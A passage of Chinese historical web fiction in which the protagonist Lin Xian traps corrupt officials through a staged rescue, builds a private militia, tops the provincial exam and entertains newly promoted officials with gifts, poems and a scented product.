血狼和众**顿时傻眼了!这他妈是哪儿冒出来的程咬金?看这架势,这人数,这装备,根本不是寻常官兵!
“中计了!扯呼!”血狼反应极快,心知不妙,大喊一声就想突围。
“想跑?给老子围**!一个也别放走!”
张魁大吼一声,鬼头刀一挥:“兄弟们!练了这么久,该活动活动筋骨了!让这些见不得光的东西,尝尝咱们永昌团练的厉害!”
“杀!”
一百名如狼似虎的团练兵士齐声怒吼,声浪震天!他们本就是刀头舔血的悍卒,被林闲收编后经过正规训练,配合默契战力飙升!
此刻以逸待劳,又是包围歼灭战,顿时如虎入羊群!
战斗完全是一边倒的**!团练兵三人一组,攻守兼备,砍瓜切菜般将负隅顽抗的**砍翻在地!惨叫声、兵刃碰撞声、求饶声响成一片!
血狼仗着武艺高强,连伤数名团练企图杀出一条血路。
张魁见状,眼中凶光一闪:“妈的,还是个硬茬子!老子亲自会会你!”他大步上前,鬼头刀带着恶风,一招“力劈华山”直砍下去!
铛!火星四溅!血狼被震得手臂发麻,心中骇然!这张魁力气大得惊人!
“就这点本事也学人当**?赵宪是没人可用了吗?”
张魁一边猛攻,一边大声嘲讽。
声音传遍战场,既是打击对方士气,更是说给轿子里的孙有道听的!
血狼心神俱震,招式一乱被张魁抓住破绽,一刀劈飞兵器,紧接着一脚踹在膝盖上!
“咔嚓!”血狼惨叫一声,跪倒在地,被两名团练死
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死按住。
首领被擒,**们彻底崩溃纷纷跪地求饶。
战斗,迅速结束。
张魁走到血狼面前,用刀尖挑开他的蒙面巾,露出一张狰狞的脸吼道:“说!谁指使你的?”
血狼咬紧牙关,不肯开口。
张魁冷笑一声,对旁边一名机灵的士兵使了个眼色。
那士兵立刻在血狼身上摸索,很快掏出一块腰牌和几锭银子,大声报告:“头儿!搜到了!是江宁赵府的腰牌!银子底下也刻着赵家的暗记!”
“赵府?”
张魁故作惊讶,声音提高八度:“哎呀呀!原来是赵宪赵大人家的狗啊!怪不得这么嚣张,敢刺杀巡抚!你们赵家是想谋逆吗?!”
这话更是字字诛心,清晰传入了刚刚惊魂未定地掀开轿帘的孙有道耳中!
孙有道听到“赵府”、“赵宪”这些字眼,吓得差点瘫软在地!
他瞬间明白,自己掉进了一个巨大的陷阱!而设局者……
孙有道脑海中浮现出林闲那平静却深不可测的脸,一股寒意从脚底直冲天灵盖!
张魁不再理会面如死灰的血狼,走到孙有道轿前,抱拳道:“孙大人受惊了!匪徒已尽数剿灭,活口、物证俱在!‘恰巧’我等在此拉练,遇上大人遇袭,特来相助。大人放心,此事永昌团练定会查个水落石出,给朝廷一个交代!”
他把“恰巧”二字咬得极重。
孙有道脸色惨白冷汗直流,他嘴唇哆嗦着,一句话也说不出来。
孙有道知道,自己完了,赵宪也完了!
他此刻已被变相软禁,生死全在他人一念之间。
张魁一挥手,几名心腹押着血狼,带着那些“铁证”,迅速消失在夜色中,直奔林闲所在。他则亲自“护送”(实为押解)着失魂落魄的孙有道,返回巡抚衙门。
这一夜,螳螂(赵家)全力扑蝉(孙有道),却不知黄雀(林闲)早已张网以待。
林闲借力打力,不仅粉碎了刺杀阴谋,更将人证、物证、甚至巡抚这个“苦主”都牢牢握在了手中!
赵宪父子的丧钟,已被彻底敲响!
第107章 铁证如山:幕后定乾坤
次日清晨。
巡抚被永昌团练“恰巧”所救的消息,瞬间在江南官场炸开了锅!
各方势力惊骇交加,暗流汹涌!
赵府内。
赵宪闻讯,手中的官窑茶杯“啪嚓”一声摔得粉碎,脸色瞬间惨白如纸!
他踉跄瘫坐在太师椅上,浑身冷汗涔涔。
“完了……全完了……血煞门失手……孙有道没死……还落入了对方手中……”
他比谁都清楚,刺杀巡抚是何等大罪!
这已不是丢官罢职,而是满门抄斩的祸事!
赵宪慌忙下令:“快!快销毁所有账册密信!立刻从密道出城,去……去找汉王!”
然而他心腹管家连滚爬爬回来,面无人色地哭嚎:“老爷!不好了!府外……府外已经被兵丁给围了!说是……说是保护现场!”
赵宪眼前一黑,一口鲜血喷出,他知道,天,塌了!
而当日下午,真正的雷霆降临!
一队风尘仆仆却煞气凛然的人马,手持明黄绸布包裹的御赐金牌,蹄声如雷直闯江南巡抚衙门!
为首者身着绯色补服,面容肃杀,正是都察院左副都御史,有“铁面阎罗”之称的**远!
他奉赵王急奏、太子附议、皇帝密旨,特来江南,彻查这桩惊天大案!
吴御史抵达后雷厉风行,手段狠辣:
第一刀,直刺心脏!
他无视孙有道惊魂未定的辩解,直接出示金牌,将其就地软禁,隔离审讯。
面对**远那双仿佛能看透人心的眼睛和抛出的部分铁证,孙有道心理防线迅速崩溃。
为求活命,他不仅将自己与赵宪的贪腐勾当和盘托出,更是声泪俱下地指控赵宪“狼子野心,欲杀官灭口”!
第二刀,擒贼擒王!
吴御史马不停蹄,率亲兵直扑按察使衙门!当时赵宪正如热锅上的蚂蚁,试图做最后挣扎。
**远根本不给其开口机会,金牌一亮厉声喝道:“赵宪!尔勾结匪类,刺杀封疆,罪证确凿!本官奉旨,革汝官职,锁拿问罪!拿下!”
左右如狼似虎的侍卫一拥而上,摘掉赵宪的乌纱帽,剥去官袍套上枷锁。
赵宪面如死灰瘫软如泥,昔日威风扫地的模样,引得衙门内外围观官吏噤若寒蝉,心中巨震。
第三刀,犁庭扫穴!
几乎同时,另一队人马已查封赵府,搜出大量未来得及销毁的账册、密信,坐实其贪墨、勾结之罪。
同时海捕文书发出,通缉已在逃的赵公子。
第四刀,铁证如山!
吴御史亲自提审**头目“血狼”。血狼早已被张魁的“特殊手段”磨掉了锐气,又见朝廷钦差亲至,心知赵宪已倒。
为求活路,他将赵宪如何重金雇佣、计划细节等供认不讳!
与此同时,林闲通过秘密渠道送来的**画押口供、赵府信物、以及柳如丝提供的核心账册密信副本,也适时呈上!
人证、物证、口供,环环相扣,形成了一条无可辩驳的铁证链!
公堂之上。
**远将一系列铁证掷于赵宪面前,厉声质问:“赵宪!你身为按察使,执掌一省刑名,却知法犯法,刺杀上官,贪墨国帑,勾结亲王!你还有何话说?!”
赵宪面对铁证,尤其是那本他以为早已销毁的密账,崩溃嘶吼道:“是汉王!是汉王殿下逼我的!这一切都是……”
“住口!”
**远猛地一拍惊堂木,打断了他的攀咬:“罪证确凿,还敢攀诬亲王?罪加一等!”
他虽心知肚明与汉王有关,但此刻拿下赵宪、稳定江南才是首要,绝不会让其在公堂之上掀起更大的波澜!
这一声断喝既维持了体面,也彻底断绝了赵宪的侥幸心理!
赵宪如被抽走了脊梁骨,瘫倒在地,涕泪横流,再无半点威风。
吴御史迅速将案情审理清楚,六百里加急奏报京城,同时出榜安民。
榜文之中,对永昌团练“巧合”救驾、勇剿匪类之功予以表彰,对吴御史“明察秋毫”之功大书特书,而真正的幕后推手林闲之名却隐于无形,仿佛从未存在。
别院中。
林闲正悠闲品着茶,听着张魁眉飞色舞、手舞足蹈地汇报着整个经过。
“先生!您真是神了!”
张魁激动得满脸通红,唾沫横飞:“那吴御史一来,就跟剧本写好似的!赵宪那老狗,当场就吓尿了!还有那帮**,在咱们兄弟面前简直跟纸糊的一样。痛快!真**痛快!”
林闲微微一笑,轻吹开茶沫语气平淡如水道:“跳梁小丑,自作孽,不可活。我等不过是顺势而为,推了一把而已。此番,辛苦将军和弟兄们了。”
“不辛苦!为先生办事,是弟兄们的福气!”
张魁拍着胸脯,随即又压低声音,带着几分江湖气说道:“按先生的吩咐,现场清理得干干净净,该留的证据一样不少,不该留的半点痕迹都没有。活口和东西,都已经交给影刹姑娘的人了,保证万无一失。”
林闲满意地点点头,放下茶杯看向张魁:“张将军,此番永昌团练初露锋芒,立下大功,但根基尚浅。”
说着,林闲不慌不忙地从袖中取出一张对折得整整齐齐、看起来轻飘飘的桑皮纸,随意地推到张魁面前。
张魁一愣,心道:‘先生这是要赏些银钱,让弟兄们喝酒?’他估摸着如此薄薄一张,最多是几百两的银票,已是厚赏了。
他连忙恭敬地双手接过,口中道谢:“谢先生赏!弟兄们……”他一边说着,一边随手将那张纸展开。
话音未落,他的声音戛然而止!眼睛猛地瞪圆,如同见了鬼一般!
那桑皮纸上,清晰地印着“凭票即兑,纹银贰万两整”的字样!下方盖着通汇天下、隆昌、福源等三家最大钱庄的鲜红钤印和密押!那薄薄的一张纸,此刻在他手中却仿佛有千钧之重!
“两……两……两万两?!”
张魁倒吸一口凉气,手猛地一抖,差点把这张价值连城的纸给扔出去!
他猛地抬头看向林闲,结结巴巴,舌头都打了结:“先……先生!这……这太多了!这……这使不得啊!”
他原以为最多几百两,已是天大的恩赏,万万没想到,林闲随手给出的,竟是一笔足以买下小半条街的巨款!这种巨大的反差,让他大脑一片空白,几乎无法思考!
林闲看着他震惊失措的模样,嘴角勾起一抹淡淡的笑意,仿佛只是给了一串铜钱般轻松:
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“慌什么。区区两万两,就把你吓成这样?”
他站起身走到窗前,语气依旧平静,却带着不容置疑的力量:“其中五千两,分赏此次出力的弟兄们,务必厚恤伤者家属。剩余一万五千两,不是给你的私产。”
他站起身走到窗前,望着远处隐约可见的永昌府方向缓缓道:“永昌此番虽露了脸,但装备、粮饷、抚恤,乃至日后扩编、训练,何处不需银钱?朝廷的饷银,层层克扣下来,能到手几成?杯水车薪罢了。”
他转过身看向张魁,沉声道:“我要你用这笔银子,暗中做三件事。”
“第一,挑选绝对可靠、家世清白的精锐子弟,暗中扩编一营教导队,由你亲自掌握,装备、饷银皆按双倍发放,我要他们成为团练的骨架和尖刀!”
“第二,打通永昌府及周边州县的钱粮、军械关节,不必明着来,暗中结交胥吏掌握几条稳妥的补给线。我要这团练,离了朝廷,也能自给自足一段时日!”
林闲的声音压低,却字字千钧:“第三,江南各府驻军、衙署之中,安插些机灵可靠的耳目。不需他们做什么,只需关键时刻,能递个消息,行个方便即可。此事需极度隐秘,宁缺毋滥。”
张魁听着这一条条指令,背后惊出一身冷汗,又涌起一股难以抑制的狂热!先生这是要……要将永昌团练,打造成一支真正听命于他林闲的私兵!还要将触角,深入江南官场和驻军!这手笔,这野心!
“先生!您……您这是要……”
张魁声音发颤,既是激动,也是敬畏。
林闲抬手打断了他的话,嘴角勾起一抹意味深长的笑容:“乱世将临,有兵有钱,方有立足之地。永昌团练,便是你我在这江南的根基。这些银子,不过是前期投入。日后卖化妆品的收益,会持续供给。”
他走到张魁面前,拍了拍他的肩膀:“张将军,我把这根基交给你了。”
张魁“噗通”一声单膝跪地,双手抱拳,因激动而浑身颤抖:“先生知遇之恩,张魁万死难报!先生放心!张魁在此立誓,必为先生练出一支精兵,永昌团练,今后唯先生马首是瞻!”
林闲将他扶起来,拍拍肩笑道:“起来吧。记住,低调行事厚植根基。非到万不得已,勿要显露锋芒。”
“是!属下明白!”
张魁重重磕了个头,将银票小心贴身收好,眼中闪烁着狂热与忠诚的光芒,躬身退了出去。
他明白从此刻起,他张魁和永昌团练的命运,已彻底与这位深不可测的闲先生绑在了一起!
看着张魁离去的背影,林闲负手而立,目光再次投向远方。
“银子,不过是工具。两万两,买下一支忠诚的武装和江南的耳目,这买卖,划算。”
他低声自语,语气中带着掌控一切的从容:“赵宪倒了,空出的位置,总得有人填上。有了永昌团练这颗钉子,这江南的棋局,我才算真正有了落子的资格。”
数日后,秋闱放榜吉日将至。
江南官场经历了一场彻底洗牌,云开雾散。
而所有人都在屏息等待,聚焦那张即将决定无数人命运的金榜。
而林闲早已布下了比金榜题名更深、更远的局……
第108章 弦歌未央:解元震江南
秋日午后,阳光和煦.
透过老槐树的枝叶,在院中洒下斑驳的光影。林闲的别院工坊内,一片宁静祥和,与此刻江陵府城内的喧嚣躁动形成了鲜明对比。
院中。
林闲悠然坐在石凳上,怀中抱着那把紫檀木吉他,修长的手在琴弦上随意拨动。
他没有弹奏任何激昂的凯歌,也没有流露丝毫焦躁,只是一段带着几分出世意味的旋律,如山间清泉潺潺流淌。
这琴音仿佛在洗涤连日来的阴谋算计,也以一种超然的姿态,静候着命运的宣判。
林承宗和几名亲信族人守在院门处,不时紧张向外张望。
他们知道今日放榜,心都提到了嗓子眼。
可见自家这位三爷如此气定神闲,也不敢出声打扰。只能暗自搓手跺脚,焦急万分。
一个小厮低声对同伴嘀咕:“我的老天爷,少爷怎么还能弹得下去曲子?我这心里跟揣了二十五只兔子——百爪挠心啊!”
另一个年纪大些的厨娘啐道:“你懂什么!少爷这叫胸有成竹!没点儿定力,能成大事?学着点!”
就在这静谧与焦灼交织的氛围中,远处隐隐传来嘈杂声——
先是微弱的锣鼓点子,随即是越来越响、越来越近的喧闹人声!
夹杂着马蹄声和鼎沸的人声,如滚雪球般朝三房别院方向汹涌而来!
林承宗猛地竖起耳朵,绽放出狂喜的光芒!
他踉跄着冲进院内,声音因极度激动而劈了叉:“爹!来了!报喜的来了!是朝着咱们家来的!肯定是中了!肯定是中了啊!”
琴声,在这一刻悠然止歇。
林闲的手指轻轻按在琴弦上,余音袅袅。
他抬起头望向院门方向,眼神清澈平静,嘴角勾起一抹尽在掌握之中的弧度。
林闲缓缓将吉他靠放在石桌上,这才站起身。
几乎在他站定的同时,院门外已是人声鼎沸,锣鼓震天!
仿佛全城的人都涌到了这僻静的别院外!
“捷报——江陵府林闲林老爷,高中甲辰年江南乡试第一名解元!金榜题名,魁星高照!”
“捷报——林解元高中头名!”
报子高亢嘹亮、带着浓浓官韵的唱名声,如同惊雷般炸响,清晰地盖过了所有嘈杂,传入院内每一个人耳中!
“轰!”
院外围观的人群爆发出震天的欢呼和惊叹!“解元!是解元公!”
“林案首真的中解元了!”
“天佑我江陵府啊!”
林承宗激动得浑身发抖,连忙命人打开院门。
只见一队披红挂彩、喜气洋洋的报子,在无数翘首以盼的乡绅、百姓、甚至还有闻讯赶来的府学教官的簇拥下,如同潮水般涌了进来!
为首的信差高举着泥金大红捷报,满面红光,冲到林闲面前,噗通一声跪倒,双手将捷报高高举起,声音因激动而颤抖:“恭喜林解元!贺喜林解元!您老高中头名,为咱们江陵府争光了!”
林闲面色平静,仿佛只是接过一封寻常书信。
他伸手接过那沉甸甸的捷报,目光落在“江陵府林闲”和“第一名解元”那几个鎏金大字上,眼神微微闪动,一丝真正的笑意终于从眼底漾开,但旋即恢复平静。
他淡淡地对林承宗吩咐道:“看赏!重重有赏!”
“是!”
林承宗声音哽咽,连忙招呼下人抬出早已备好的几大筐铜钱和红封,见人就撒。
刹那间,院内院外彻底沸腾!
锣鼓喧天,鞭炮齐鸣。
欢呼声、道贺声、铜钱落地声交织在一起,热闹非凡!
“看看!这才是真正的才子!考前弄香皂,考中弹吉他,放榜了还这么淡定!”
“我就说嘛!林案首这等人物,中解元是板上钉钉的事!”
“啧啧,你们看林解元那气度,中了解元就跟吃了碗茶似的平常,这才是干大事的人
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啊!”
人群中。
一个曾经在诗会上嘲讽林闲“搞奇技淫巧”的酸儒,此刻脸色一阵红一阵白,恨不得找个地缝钻进去。
他身边有人打趣道:“王兄,当初你说林解元‘玩物丧志’,如今看来,丧的是谁的志啊?”
那酸儒臊得满脸通红,灰溜溜挤出了人群。
消息很快插上了翅膀,迅速传遍全城,并向着整个江南扩散。
林闲这个早已名动江南的“香皂秀才”、“防晒案首”、“吉他才子”,如今更是堂堂正正的林解元。
他的传奇,又添上了最浓墨重彩的一笔!
在一片喧嚣祝贺声中,林闲微微抬手,示意众人安静。他走回石桌旁,再次抱起了那把紫檀木吉他。
众人屏息,不知解元公要做什么。
只见林闲微微一笑,再次用指尖拨动琴弦。
很快一段充满喜悦与希望的旋律流淌而出,与方才的宁静空灵截然不同,仿佛在诉说着寒窗苦读终有成,前路风光正好!
一曲奏罢,满场寂静,随即爆发出更热烈的掌声和喝彩!
“好!”
“此曲只应天上有啊!”
“解元公乃神人也!”
林闲放下吉他,面对无数敬仰的目光,拱手环视一周朗声道:“林闲侥幸中举,多谢诸位乡邻厚爱!今日之喜,非一人之功,乃江陵文风鼎盛之兆!”
一番话既谦逊,又将荣耀归于乡土,更是赢得了满堂彩!
夜色渐临,贺喜的人群渐渐散去。
别院重归宁静,但空气中弥漫的喜庆气息却久久不散。
林闲独自站在院中,仰望星空,心中豪情涌动。
他低声自语,随后抬眼望向京城:“解元只是开始。京城的琼林宴,才是真正的舞台。赵王,太子,汉王……咱们,京城见。”
江陵解元林闲之名,自此真正响彻江南。并开始向着帝国的权力中心,传扬开去……
第一百零九章 赠礼惊四座,三贤谢恩公
林闲高中解元的喜讯,如同在滚油中泼入冰水,瞬间在江南官场炸开了锅!
林府门前,车水马龙贺客盈门,其盛况远超寻常新科解元,
俨然成了江南官场新一轮势力洗牌后的风向标!
然而最引人注目、也最让围观者瞠目结舌的是随后抵达的三顶官轿!
这三顶轿子所代表的,不仅仅是道贺,更是一场刚刚尘埃落定、震动江南的破格擢升。
而这场擢升与今日的主角林解元,有着千丝万缕、人尽皆知的隐秘联系!
第一顶轿子落下。
轿中走出的,赫然是原周知县!
但此刻,他身着的已是绯色云雁四品知府补服。
在赵宪案中他积极配合钦差稳定地方,吏部考功“卓异”,经赵王力荐,特旨擢升为江陵府知府!
周知府满面红光。
他见到迎出来的林闲竟抢先一步拱手,语气带着难以抑制的激动和恭敬:“恭喜林解元!贺喜林解元!下官能有今日,全仗解元公……呃,全仗朝廷恩典,解元公福星高照啊!”
他差点说漏嘴,连忙改口,但那份感激之情,溢于言表。
围观众人顿时哗然!
四品知府向新科解元先行礼?还称“下官”?
这林解元的份量,可见一斑!
未等众人消化,第二顶轿子紧随而至!
轿帘掀开,一位气度更为沉稳的官员走出,身披绯色孔雀三品按察使补服。
正是原江陵府李知府,如今已跃升为江南按察使,暂代学政!
李按台脸上带着矜持而喜悦的笑容,但看向林闲时,眼神深处却充满了难以言喻的感慨和敬重。
他清楚自己能从知府跃升到掌管一省刑名、教育的三品大员,林闲通过影刹递给赵王的那句“可堪重用”起了决定性作用!这简直是知遇之恩!
“恭喜林解元蟾宫折桂!”
李按台的声音温和却有力,他微微颔首姿态放得极低:“解元公不仅文采斐然,更有慧眼识人之明,实在令人钦佩。”
这话意味深长,只有当事几人能听懂。
这下,连周围的其他官员都倒吸凉气了!
三品大员对解元用“钦佩”二字?还暗示“慧眼识人”?
压轴好戏,终于在第三顶轿子落下时达到高潮!
轿中之人未现,其仪仗已显不凡。
当那位身着绯色锦鸡二品巡抚补服、不怒自威的大员现身时,全场瞬间鸦雀无声。
竟是原副主考、代理主考周学政,如今已荣升江南巡抚,总揽一省军政!
周巡抚龙行虎步声若洪钟,人未至爽朗的笑声已传遍全场:“本官紧赶慢赶,总算没错过林解元的喜庆!”
他走到林闲面前,竟伸出大手亲切拍了拍林闲的肩膀,目光中满是激赏:“解元之位,实至名归!闲先生不仅是文魁,更是我江南的福星!赵宪那等蠹虫,若非你洞察其奸,后果不堪设想!此番破格擢升,本官……亦是沾了你的光啊!”
“轰!”
周巡抚这番话,如同平地惊雷,炸得在场所有官员、士绅目瞪口呆!
二品封疆大吏,亲口承认沾了一个新科解元的光?!
这林闲的能量,简直通天了!
林闲面对三位春风得意、位高权重的大员,依旧从容不迫,谦逊将他们请至后花园临水的敞轩。
轩内早已备好香茗茶点,秋菊吐艳,桂香浮动。
落座后,周知府再次激动开口:“此番能署理江陵,全赖林解元吉星高照,更仰仗李按台、周抚台提携栽培!”
他差点又习惯性自称“下官”,赶紧改口,引得周巡抚哈哈大笑。
李按台捻须微笑,意味深长地接话:“周府台过谦了,是你勤勉有功。至于本官……不过是恰逢其会,幸得贵人暗中鼎力相助,方能不负皇恩。”
他说着,再次向林闲投去心照不宣的一瞥。
周巡抚抚掌大笑:“今日真是四喜临门!本官赴任,二位高升,林解元折桂!此乃江南大兴之兆!”
他兴致极高,看向林闲打趣:“闲先生,如此良辰美景,何不赋诗一首,以志盛况?让我等也沾沾文曲星的才气!”
李按台和周府台连声附和:“正当如此!正要领略解元公的锦绣文章!”
林闲见推辞不过,淡然一笑,道:“三位大人厚爱,学生恭敬不如从命。不过在赋诗之前,学生另有几分薄礼,要赠与三位大人,聊表祝贺之意。”
说罢,他轻轻击掌。
早已候在一旁的林承宗,立刻带着三名小厮,各捧一个锦盒上前。
林闲先取过第一个锦盒,递给周知府:“周府台新任地方,百废待兴。此乃学生闲暇时调配的‘醒神清心香’,焚之可提神醒脑,助府台处理公务,明察秋毫。”
盒中,是一套精美的香具和几块色泽温润的香锭。
周知府双手接过,激动不已道:“解元公所赐,必是精品!下官定当日日焚用,不负所托!”
接着林闲取过第二个锦盒,递给李按台:“李按台执掌刑名,明断是非。此物名为‘明察秋毫镜’,乃学生偶得水晶磨制,细微之处或可助按台洞察幽微。”
盒中,是一柄做工极其精巧的放大镜。
李按台接过这闻所未闻的“奇物”,仔细端详,眼中爆发出惊喜的光芒。
他乃官场老手,立刻意识到此物在查验物证时的巨大价值!“妙!妙啊!此物……此物堪称断案神器!解元公厚赐,本官……感激不尽!”
最后,林闲取过第三个,也是最大的一个锦盒,双手奉给周巡抚道:“周抚台总制封疆,日理万机。学生无以为敬,特备此寰宇全图,乃学生根据古籍残卷、番商海图,结合格物之理重新绘制。于山川形势、海陆航道或略有助益,愿助抚台胸怀天下,放眼寰宇。”
锦盒打开,里面是一卷巨大的手绘地图!
周巡抚好奇地展开一角,只看了一眼便浑身剧震!
那地图之精细范围之广、标注之新颖,远超他见过的任何官绘舆图,这简直是军国利器。
周巡抚抬头,看向林闲的眼神已不仅仅是欣赏,而是充满无比的震撼和深意!
他深吸一口气郑重接过锦盒,沉声道:“闲先生……此礼太重。此图岂止是助益,简直是……国之重器!本官受之有愧,却之不恭!”
三份礼物看似寻常,却分别对应三位大员的新职。既显心意,更露峥嵘。
尤其是那幅地图,简直是在昭示林闲的格局与野心!
周巡抚
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珍重地收好地图,再次看向林闲,目光灼灼:“礼物已收,诗兴更浓!请!”
林闲微微一笑,目光扫过水光山色,朗声吟道:
“秋菊傲霜桂子香,三贤晋位耀江乡。
水清自是濯缨好,共期来日佐庙堂。”
诗句既应景,又暗含期许,格局宏大。
“好!好一个共期来日佐庙堂!”
周巡抚接着兴致,忍不住击节赞叹!
“解元公高才!”
李按台和周府台亦由衷佩服。
林闲见三位大人兴致高昂,便从容一笑,拱手道:“方才七绝,聊表贺意。今日四喜临门,秋光正好,学生不才,再填一阕小词,以助雅兴,如何?”
三位大员闻言,眼中精光更盛,齐声道:“正要聆听解元公妙词!”
林闲略一沉吟,目光再次投向轩外碧水长天,一股疏阔之气油然而生,随即朗声吟诵:
《鹧鸪天·贺三贤晋位兼自勉》
桂子香浮碧水长,秋闱捷报动江乡。
云开已见青天阔,浪静方知砥柱强。
簪宫锦,佐朝纲,风鹏正举趁新凉。
来年琼苑春风宴,共看长安花满堂!
一词吟罢,满座皆静!
周巡抚猛地一拍大腿,霍然起身,眼中爆发出前所未有的激赏光芒:“好一个云开已见青天阔,浪静方知砥柱强!此句一语双关,既喻江南风波平息、贤臣擢升,更暗含砥柱中流、匡扶社稷之志。妙极啊!”
李按台抚须长叹:“风鹏正举趁新凉?好气魄!将吾等晋位比作大鹏借秋风展翅,更寓含把握时机、乘势而上的深意!解元公词笔,已入化境!”
周府台更是激动得脸色通红:“结句‘来年琼苑春风宴,共看长安花满堂’更是了得!这是预祝我等来年京城再会,共襄盛举!壮志凌云,豪情干云!”
三位大员都是进士出身,文采斐然,此刻却被林闲这首即兴而作的词深深折服!
此词不仅应景,更难得的是那份睥睨天下的自信和携手共进的豪情。
完全不像一个新科解元的口气,倒像是位久经宦海、胸怀天下的宰辅在抒怀!
周巡抚郑重对林闲拱手道:“先生之才,经天纬地!此词格局气魄,远超寻常贺词!本官……不,老夫今日方知,何为雏凤清于老凤声!他日琼林宴上,必是先生大放异彩之时!”
他竟不自觉将自称从“本官”换成了“老夫”,以示亲近与叹服。
李按台和周府台也再次郑重道贺,心中对林闲的评价,又提升到了一个全新的高度。
林闲从容还礼,谦逊道:“三位大人过奖了。学生不过偶有所感,信口胡诌,聊博一笑罢了。”
周巡抚心道:‘信口胡诌?此等词句,老夫绞尽脑汁也未必能得!此子之才,深不可测!’
李按台暗忖:‘谈笑间诗词双绝,更兼翻云覆雨之能。此子未来,不可限量!’
周府台更是下定决心:‘定要紧紧追随林解元步伐!’
经此即兴发挥,敞轩内的气氛达到了顶点。
林闲的才华、气度与野心,在这次雅聚中展现得淋漓尽致。
他与三位江南新任实权大员之间的同盟,也在这文采飞扬中,变得更加牢固。
第一百一十章 即席赋诗:同沐君子风
敞轩内,秋光正好,桂香隐隐。
新任周巡抚、新任李按察使、新任周知府这三位江南新贵,与几位作陪的士绅名流齐聚一堂。
祝贺寒暄之后,话题自然落在了今日的另一位主角——新科解元林闲身上。
周巡抚抚须笑道:“闲先生此番蟾宫折桂,实至名归。更难得的是,先生于格物之道亦有如此建树,那‘元启’系列的香皂和香薰,如今在江南可是风靡一时啊!”
李按台也含笑点头:“不错,内子前日得了一盒贵府的‘秋桂凝香’,甚是喜爱,赞其清雅不俗。”
周知府更是笑道:“下官衙中如今也在用那‘提神醒脑’香,确是办公良伴。”
见众人话题引到此处,林闲从容一笑,顺势而为道:“承蒙三位大人谬赞。正所谓学以致用,格物之理本为利民便民。今日恰逢三位大人新晋之喜,学生这里倒有一份尚未正式推出的新品,名为【君子之风】男士香薰,正合三位大人之身份气度,不知可否请三位赏光,现场一试品鉴一二,也为学生提些宝贵意见?”
三位大员闻言,顿感新奇。
“哦?闲先生的新品?那我等定要抢先体验一番!”
“正当如此!”
林闲微笑颔首,对侍立一旁的林承宗示意。
林承宗会意,立刻端上一个精致的紫檀木托盘,上面放着三套小巧玲珑的琉璃香薰瓶。
瓶身线条流畅,内置淡金色的液体,旁边配着同款的黄铜镂空香薰扣夹。
“此香薰无需点燃,只需取少许滴于这香薰扣夹之上,佩戴于衣襟或袖口内侧即可。”
林闲一边示范,一边解释道:“其香调取自沉香、雪松、冷泉,辅以微量龙涎,气息清冽沉稳含蓄内敛,名曰君子之风。取其温润如玉持重有节之意。”
三位大员依言,好奇各取一枚扣夹。
在林闲的指导下,滴上两三滴香液。
刹那间,一股带着木质暖意的独特香气,从三位大员的衣襟袖口间缓缓散发出来。
这香气并不浓烈扑鼻,而是如山间清泉、月下松涛,若有若无。唯有靠近时,方能感受到那股沉稳干净、令人心神宁静的气息。
周巡抚深吸一口气,只觉得一股清冽之气直透肺腑,连日来因升迁和政务带来的些许焦躁竟平复了不少,不由惊叹道:“妙!此香清而不寒润而不腻,初闻提神,再品静心,果然有‘君子之风’!佩戴此香升堂议事,自觉心思都清明了几分!”
李按台也仔细嗅了嗅,眼中精光一闪:“此香沉稳持重,隐有威仪。正合刑名之责,需明察秋毫不怒自威之气度!好一个‘君子之风’!”
周知府则更务实,他感受着周身环绕的清香笑道:“下官倒是觉得,此香亲切而不失体统,正是亲民勤政所需之象!闲先生,此物一出,只怕我江南官场,要刮起一阵清新之风了!”
周围作陪的士绅们也纷纷吸着鼻子,露出陶醉和羡慕的神色,交头接耳:
“闻到了吗?这香气,真是绝了!”
“不愧是闲先生的手笔!格调太高了!”
“此物若上市,定要为我家那小子求购一份!”
林闲见效果达到,淡然一笑:“三位大人喜欢便好。此香之妙在于潜移默化,修身养性。愿此君子之风,常伴三位大人,清风两袖明镜高悬。”
周巡抚抚掌大笑:“闲先生不仅礼物别致,寓意更是深远!此香本抚收了,日后升堂必佩此香以自省!”
李按台和周知府也纷纷郑重表示,日后公务定当佩戴此香。
经此一番现场品香,敞轩内的气氛更加融洽高雅。
林闲不仅展示了其产品的卓越,更无形中将一种高雅、清廉、务实的官场新风尚,与三位新任大员紧密联系在了一起,逼格瞬间拉满!
在这满室清雅芬芳中,周巡抚兴致更高:“如此良辰,雅香盈室,岂可无诗?闲先生,还请挥毫泼墨,以志今日之盛!”
“正当如此!”众人齐声附和。
林闲从容一笑,不再推辞,提笔挥毫。
笔走龙蛇间一首七律跃然纸上,诗题赫然是:《贺三位宪台新晋兼谢赠洗护套装戏作》
诗云:
“金榜题名喜未休,又见三宪晋冕旒。(点明双喜临门)
巡抚旌旗遮日月,按察霜笔断浊流。
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(切合周、李二公新职,气势磅礴)
府尊勤政安黎庶,解元格物弄皂球。(自谦并点周知府与自己,谐趣横生)
莫道洗护是小事,涤尽贪腐始风流!(双关妙句,既指去污,更喻官场清风)
赠君此套同心志,共为江山织锦绣!”(升华主题,格局打开)
此诗一出,满座先是一静,随即爆发出更加热烈的哄堂大笑与惊叹!
新任巡抚周大人指着“巡抚旌旗遮日月”一句,笑得前仰后合:“闲先生这气势,倒是比本抚这新任的还要足三分。不知道的,还以为是你升了巡抚!哈哈哈!”
笑罢他神色一正,极为赞赏拍案:“但涤尽贪腐始风流这句,更是深得我心。为官一任就是要涤荡污浊,还百姓一个清平世界。此句,当浮一大白!”
李按察使捧着“按察霜笔断浊流”,同样笑得合不拢嘴:“霸气!闲先生,你这可是给本官这新任的臬台,把尚方宝剑都提前配好了。日后升堂本官便想着这句,定要断它个水落石出清浊分明。至于这皂球嘛……”
他拿起一块香皂把玩,再次爆梗:“本官定用它洗净双手,才好秉公执法,不染尘埃!”
周知府更是拍案叫绝,差点打翻茶杯:“府尊勤政安黎庶,解元格物弄皂球!闲先生,您这是把下官和您这解元并列为务实双雄了?一个安民,一个造皂球……哦不,是格物利民!太妙了!下官定当勤政,不负这皂球之誉。争取让我江陵府,从上到下从里到外,都干干净净清清爽爽!”
其他士绅也纷纷配合着大佬合赞,笑声不断。
林闲笑着拱手:“拙作粗陋,借物言志,博诸位新宪台一笑,亦表学生祝贺之忧罢了。”
周巡抚闻言,举杯道:“闲先生过谦了!此诗谐趣中有大义!涤尽贪腐始风流,此言当为我等座右铭!来,诸位共饮此杯。一贺朝廷得人,二贺闲先生高中,三愿我等同心协力,不负皇恩不负百姓,共为这江山,织就一幅锦绣图画!”
“共饮!不负皇恩,不负百姓!”
众人齐声举杯,庄重而又热烈的气氛,回荡在秋日的江陵……
